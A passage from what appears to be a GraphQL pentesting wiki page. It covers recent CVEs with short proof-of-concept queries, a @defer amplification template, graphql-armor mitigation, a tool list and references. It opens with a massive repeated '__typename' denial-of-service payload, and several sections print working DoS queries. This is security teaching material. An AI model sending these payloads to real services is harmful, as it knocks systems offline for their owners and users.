\n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n} ", "operationName": "cop"}' \ 685 'https://example.com/graphql' 686 ``` 687 688 ## Recent Vulnerabilities (2023-2025) 689 690 > The GraphQL ecosystem evolves very quickly; during the last two years several critical issues were disclosed in the most-used server libraries. When you find a GraphQL endpoint it is therefore worth fingerprinting the engine (see **graphw00f**) and checking the running version against the vulnerabilities below. 691 692 ### CVE-2024-47614 – `async-graphql` directive-overload DoS (Rust) 693 * Affected: async-graphql < **7.0.10** (Rust) 694 * Root cause: no limit on **duplicated directives** (e.g. thousands of `@include`) which are expanded into an exponential number of execution nodes. 695 * Impact: a single HTTP request can exhaust CPU/RAM and crash the service. 696 * Fix/mitigation: upgrade ≥ 7.0.10 or call `SchemaBuilder.limit_directives()`; alternatively filter requests with a WAF rule such as `"@include.*@include.*@include"`.<sup>[[7]](#references)</sup> 697 698 ```graphql 699 # PoC – repeat @include X times 700 query overload { 701 __typename @include(if:true) @include(if:true) @include(if:true) 702 } 703 ``` 704 705 ### CVE-2024-40094 – `graphql-java` ENF depth/complexity bypass 706 * Affected: graphql-java < 19.11, 20.0-20.8, 21.0-21.4 707 * Root cause: **ExecutableNormalizedFields** were not considered by `MaxQueryDepth` / `MaxQueryComplexity` instrumentation. Recursive fragments therefore bypassed all limits. 708 * Impact: unauthenticated DoS against Java stacks that embed graphql-java (Spring Boot, Netflix DGS, Atlassian products…). 709 710 ```graphql 711 fragment A on Query { ...B } 712 fragment B on Query { ...A } 713 query { ...A } 714 ``` 715 716 ### CVE-2023-23684 – WPGraphQL SSRF to RCE chain 717 * Affected: WPGraphQL ≤ 1.14.5 (WordPress plugin). 718 * Root cause: the `createMediaItem` mutation accepted attacker-controlled **`filePath` URLs**, allowing internal network access and file writes. 719 * Impact: authenticated Editors/Authors could reach metadata endpoints or write PHP files for remote code execution. 720 721 ### CVE-2025-32031 – Apollo Gateway query-planner fragment fan-out DoS 722 * Affected: `@apollo/gateway` < **2.10.1** 723 * Root cause: **deeply nested and heavily reused named fragments** can bypass internal query-planner optimizations, so the gateway spends most of its CPU time **planning** the request before it even reaches the subgraphs. 724 * Impact: a small number of unauthenticated requests can make a **federated gateway** unresponsive even when resolver depth/complexity checks look fine on the subgraphs. 725 * Testing hint: in black-box tests, watch for high latency / gateway CPU spikes with almost no corresponding subgraph traffic. The choke point is the planner, not the resolver. 726 727 ```graphql 728 fragment F2 on Query { __typename } 729 fragment F1 on Query { ...F2 ...F2 } 730 fragment F0 on Query { ...F1 ...F1 } 731 query { ...F0 } 732 ``` 733 734 --- 735 736 ## Incremental delivery abuse: `@defer` / `@stream` 737 Since 2023 most major servers (Apollo 4, GraphQL-Java 20+, HotChocolate 13) implemented the **incremental delivery** directives defined by the GraphQL-over-HTTP WG. Every deferred patch is sent as a **separate chunk**, so the total response size becomes *N + 1* (envelope + patches). A query that contains thousands of tiny deferred fields therefore produces a large response while costing the attacker only one request – a classical **amplification DoS** and a way to bypass body-size WAF rules that only inspect the first chunk. WG members themselves flagged the risk. 738 739 Example payload generating 2 000 patches: 740 741 ```graphql 742 query abuse { 743 % for i in range(0,2000): 744 f{{i}}: __typename @defer 745 % endfor 746 } 747 ``` 748 749 Mitigation: disable `@defer/@stream` in production or enforce `max_patches`, cumulative `max_bytes` and execution time. Libraries like **graphql-armor** (see below) already enforce sensible defaults. 750 751 --- 752 753 ## Defensive middleware (2024+) 754 755 | Project | Notes | 756 |---|---| 757 | **graphql-armor** | Node/TypeScript validation middleware published by Escape Tech. Implements plug-and-play limits for query depth, alias/field/directive counts, tokens and cost; compatible with Apollo Server, GraphQL Yoga/Envelop, Helix, etc. | 758 759 Quick start: 760 761 ```text 762 import { protect } from '@escape.tech/graphql-armor'; 763 import { applyMiddleware } from 'graphql-middleware'; 764 765 const protectedSchema = applyMiddleware(schema, ...protect()); 766 ``` 767 768 `graphql-armor` will now block overly deep, complex or directive-heavy queries, protecting against the CVEs above.<sup>[[8]](#references)</sup> 769 770 --- 771 772 ## Tools 773 774 ### Vulnerability scanners 775 776 - [https://github.com/dolevf/graphql-cop](https://github.com/dolevf/graphql-cop): Test common misconfigurations of graphql endpoints 777 - [https://github.com/assetnote/batchql](https://github.com/assetnote/batchql): GraphQL security auditing script with a focus on performing batch GraphQL queries and mutations. 778 - [https://github.com/dolevf/graphw00f](https://github.com/dolevf/graphw00f): Fingerprint the graphql being used 779 - [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): Toolkit that can be used to grab schemas and search for sensitive data, test authorization, brute force schemas, and find paths to a given type. 780 - [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): Can be used as standalone or [Burp extension](https://github.com/doyensec/inql). 781 - [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): Can be used as a CLI client also to automate attacks: `python3 graphqlmap.py -u http://example.com/graphql --inject` 782 - [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): Tool that lists the different ways of **reaching a given type in a GraphQL schema**. 783 - [https://github.com/doyensec/GQLSpection](https://github.com/doyensec/GQLSpection): The Successor of Standalone and CLI Modes os InQL 784 - [https://github.com/doyensec/inql](https://github.com/doyensec/inql): Burp extension or python script for advanced GraphQL testing. The _**Scanner**_ is the core of InQL v5.0, where you can analyze a GraphQL endpoint or a local introspection schema file. It auto-generates all possible queries and mutations, organizing them into a structured view for your analysis. The _**Attacker**_ component lets you run batch GraphQL attacks, which can be useful for circumventing poorly implemented rate limits: `python3 inql.py -t http://example.com/graphql -o output.json` 785 - [https://github.com/nikitastupin/clairvoyance](https://github.com/nikitastupin/clairvoyance): Try to get the schema even with introspection disabled by using the help of some Graphql databases that will suggest the names of mutations and parameters. 786 787 ### Scripts to exploit common vulnerabilities 788 789 - [https://github.com/reycotallo98/pentestScripts/tree/main/GraphQLDoS](https://github.com/reycotallo98/pentestScripts/tree/main/GraphQLDoS): Collection of scripts for exploiting denial-of-service vulnerabilities in vulnerable graphql environments. 790 791 ### Clients 792 793 - [https://github.com/graphql/graphiql](https://github.com/graphql/graphiql): GUI client 794 - [https://altair.sirmuel.design/](https://altair.sirmuel.design/): GUI Client 795 796 ### Automatic Tests 797 798 [Graphql Dashboard.Herokuapp.Com](https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-web/https%3A/graphql-dashboard.herokuapp.com/README.md) 799 800 - Video explaining AutoGraphQL: [https://www.youtube.com/watch?v=JJmufWfVvyU](https://www.youtube.com/watch?v=JJmufWfVvyU) 801 802 ## References 803 804 - [1] [Practical GraphQL attack vectors](https://jondow.eu/practical-graphql-attack-vectors/) 805 - [2] [GraphQL — Common vulnerabilities & how to exploit them](https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696) 806 - [3] [All about GraphQL Security, GraphQL vs REST API model](https://medium.com/@apkash8/graphql-vs-rest-api-model-common-security-test-cases-for-graphql-endpoints-5b723b1468b4) 807 - [4] [API Hacking: GraphQL](http://ghostlulz.com/api-hacking-graphql/) 808 - [5] [GraphQL Injection - PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/GraphQL%20Injection/README.md) 809 - [6] [GraphQL API vulnerabilities - PortSwigger](https://portswigger.net/web-security/graphql) 810 - [7] [async-graphql directive overload Denial of Service (GHSA-5gc2-7c65-8fq8 / CVE-2024-47614)](https://github.com/advisories/GHSA-5gc2-7c65-8fq8) 811 - [8] [GraphQL Armor](https://github.com/escape-tech/graphql-armor) 812 - [9] [InQL v6.1.0 Just Landed with New Features and Contribution Swag!](https://blog.doyensec.com/2025/12/02/inql-v610.html) 813 - [10] [GraphQL Threat Matrix](https://github.com/nicholasaleks/graphql-threat-matrix) 814 - [11] [File Uploads - GraphQL](https://graphql.org/learn/file-uploads/) 815 - [12] [Persisted Queries - Apollo GraphOS Docs](https://www.apollographql.com/docs/graphos/platform/security/persisted-queries) 816 - [13] [We Hacked Google A.I. for $50,000](https://www.landh.tech/blog/20240304-google-hack-50000/) 817 - [14] [GraphQL Batching Attack](https://lab.wallarm.com/graphql-batching-attack/) 818 - [15] [GraphQL Security Testing Without a Schema](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema) 819 - [16] [NahamCon2024: GraphQL is the New PHP | @0xlupin](https://www.youtube.com/watch?v=tIo_t5uUK50) 820 - [17] [That single GraphQL issue that you keep missing](https://blog.doyensec.com/2021/05/20/graphql-csrf.html) 821 - [18] [GraphQL Query Authentication Bypass Vuln](https://s1n1st3r.gitbook.io/theb10g/graphql-query-authentication-bypass-vuln) 822 - [19] [HackerOne Report #792927 - sensitive account details leak via GraphQL query variables](https://hackerone.com/reports/792927) 823 - [20] [graphql.org - GraphQL: A query language for APIs](https://graphql.org/learn/introspection) 824 - [21] [GraphQL over HTTP specification](https://graphql.github.io/graphql-over-http/draft/) 825 - [22] [SameSite cookies explained](https://web.dev/articles/samesite-cookies-explained)